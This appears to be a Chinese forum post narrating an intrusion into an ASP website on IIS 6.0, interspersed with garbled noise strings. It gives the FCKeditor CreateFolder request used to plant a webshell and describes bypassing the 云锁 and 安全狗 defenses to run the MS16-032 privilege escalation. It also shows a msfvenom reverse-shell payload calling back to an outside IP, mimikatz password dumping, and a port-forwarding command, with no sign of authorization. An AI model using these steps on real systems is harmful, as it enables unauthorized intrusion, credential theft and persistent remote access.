6 k# u' c% \( C# F
, x( V- e) N" _/ H# [
1 \6 t' H$ s/ t" X+ U P9 b: `
- f8 v! y/ U4 \) M8 H, ~- `
3 X- j$ [0 l) Z* M' K( F: N. Z
" v B. L2 f7 @. | 7 q8 H/ {8 b7 [& u2 K
一、 利用getwebshell篇
7 @) n+ o3 R+ Z$ P6 s: Z
& a, `; f7 Z6 _- j首先对目标站进行扫描,发现是asp的,直接扫出网站后台和默认数据库,下载解密登陆如图: ) h% p4 r9 {* n9 e% L
- s8 p& j3 j% h. v' x7 |
* f, p: s* d6 o" @% l9 W下面进后台发现有fckeditor,而且还是iis6.0的,可以考虑创建个asp目录来构造解析(fck编辑器路径被改成别的需要burpsuite抓包的时候看到) " Q6 y0 D+ X0 J( g# w
" L- \3 k" }% v' n- G3 f1 D5 K4 E下面我们构造一个asp目录,如: 7 }7 A$ t$ n0 R: k8 f7 w4 n$ f
9 |$ G5 T* U. l3 w9 m % _5 I0 b" g* V3 b3 l
http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975 6 h2 l0 n5 j+ f0 Y4 x4 _# d
( M, e. h; `; |) d* T7 z
7 c0 p9 p- @9 D 然后再给shell.asp目录上传一个jpg图片格式的一句话,然后用hatchet打开,然后看了一下支持aspx,那么我们就用包含的办法先把aspx后缀名改成.rar,然后再创建个111.ASPx,里面包含rar文件,进去以后看进程有云锁和安全狗,那么,那么我们慢慢来,慢慢来。
6 I1 d3 F2 q( S K( g ' c1 o0 _- {& M) J
一、 绕过安全狗云锁提权并且加账号 / q# {2 n/ p9 Y
! n5 l' t; ^& m( K; E+ M' u
没法看系统信息,但是根据网站404页面可以断定是2003服务器,然后接着访问C:\Program Files (x86)存在断定是2003 64位系统,那么我们说干就干,我们上传ms16-032 64位直接干,但是发现上传exe或者别的格式exp会自动消失,看进程也没杀毒呀,没错没杀毒,是云锁有个功能防御了,那么突破云锁上传的方法就是利用rar,先把exp打包为64.rar上传,然后我们翻一下rar在哪个目录,在C:\Program Files (x86),然后开干 ( D7 D! U) _% A- [# U" u
: E5 a8 p: l7 h$ [, n4 {8 g( M
如图: 9 p: N/ i+ U) s1 l1 w# q
7 P2 I$ q( q5 O& l: L, P; k$ U9 ^然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组,我操后来也想着用getpassword64抓明文密码,但是一执行就卡死,没办法想到了metasploit - W8 A/ [- O/ c+ X" s
7 W5 o& }# \$ b: w7 o一、 利用metasploit
, z! V4 U3 b: Q( f0 }8 {6 t Q 5 O; |0 z: }/ y: R6 Q
首先用pentestbox生成一个64位的payload如下命令 ( p' ~/ _! ~7 @9 X
" |& C3 y |& ~( q/ D
msfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe / K0 W0 l# H. C( K4 T3 X
2 ?' X" R! F& L& L8 F1 S
为什么要用443端口,之前我测试用别的端口直接被墙了没法上线,下面我们在system下执行这个mata,上线如图: # U) I# |& H+ ]& H+ n6 ?
# g9 P$ @% e& T" Q
下面我们用这个命令抓一下明文密码命令1:use mimikatz 命令2:kerberos如下图: * S. W6 c* B& C# ]
! ]# E- X& J$ j; i, S* ]4 ?
下面我们来做一个监听如下命令:
* t9 x% C4 d2 p6 U; p" B; g
7 R( E% M3 a0 s8 j: `portfwd add -l 6655 -p 3968 -r 127.0.0.1,这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图: & G* g6 r( t* K3 _/ Y7 B
f( q2 V; [/ V. @
& g) X' q7 ?0 k+ F! A* P' b | + r; E: ~6 z( y6 o; K6 m) v
' l3 r3 ]4 \5 M* y; d
( @0 U! Y/ b/ ~ f# k# i
" m# u6 _: Z1 B0 Y1 w3 E) i
5 K6 W5 ^4 Q7 V, b, L
( d/ M2 p0 U( j4 q/ z$ S & t Q# e4 ~; \
1 ^: L) u! [5 K: p; r ' u# | d8 c5 ?1 E L0 Q5 T
! s# X( Q' l& N3 D
) c! R# R9 E" T9 x" z
: ]2 ]5 `4 n* V0 H3 l/ m& G$ y( Y3 U/ m, \! L% _. s) }" @. S
1 G- D* I4 a5 v3 T) D
|